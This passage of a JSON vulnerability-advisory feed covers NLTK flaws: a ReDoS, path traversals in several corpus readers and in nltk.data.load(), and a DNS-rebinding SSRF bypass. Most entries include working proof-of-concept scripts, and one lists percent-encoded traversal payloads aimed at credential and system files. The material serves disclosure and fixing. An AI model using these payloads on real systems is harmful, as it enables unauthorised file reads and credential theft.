igh","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","details":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -> {a}\")\n    print(f\"  bounded   regex  -> {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12072","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-6hm5-jgcp-p838","CVE-2026-12072","PYSEC-2026-3581"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","details":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"<x/>\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"<teiHeader><fileDesc><sourceDesc><bibl>\"\n   \"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>\"\n       \"</bibl></sourceDesc></fileDesc></teiHeader>\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12074","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-xh95-f55m-82fw","CVE-2026-12074","PYSEC-2026-3584"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)","details":"### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` — uses the index entry `filename` field\n- the lexical-unit file loader — uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n'\n    '<frame xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\">\\n'\n    \"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\\n\"\n    \"</frame>\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        '<?xml version=\"1.0\"?><frameIndex></frameIndex>'\n    )\n    (root / \"frRelation.xml\").write_text(\n        '<?xml version=\"1.0\"?><frameRelations></frameRelations>'\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f['ID']}   name: {f['name']}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be 'Unknown frame':\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -> {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12075","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-qvv7-cg9c-w4x3","CVE-2026-12075","PYSEC-2026-3583"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode","details":"### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -> public\" if n == 0 else \"CONNECT    -> loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -> PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -> PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12243","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-m42h-3232-vpv3","CVE-2026-12243","PYSEC-2026-597"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","details":"# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -> .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n'\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or 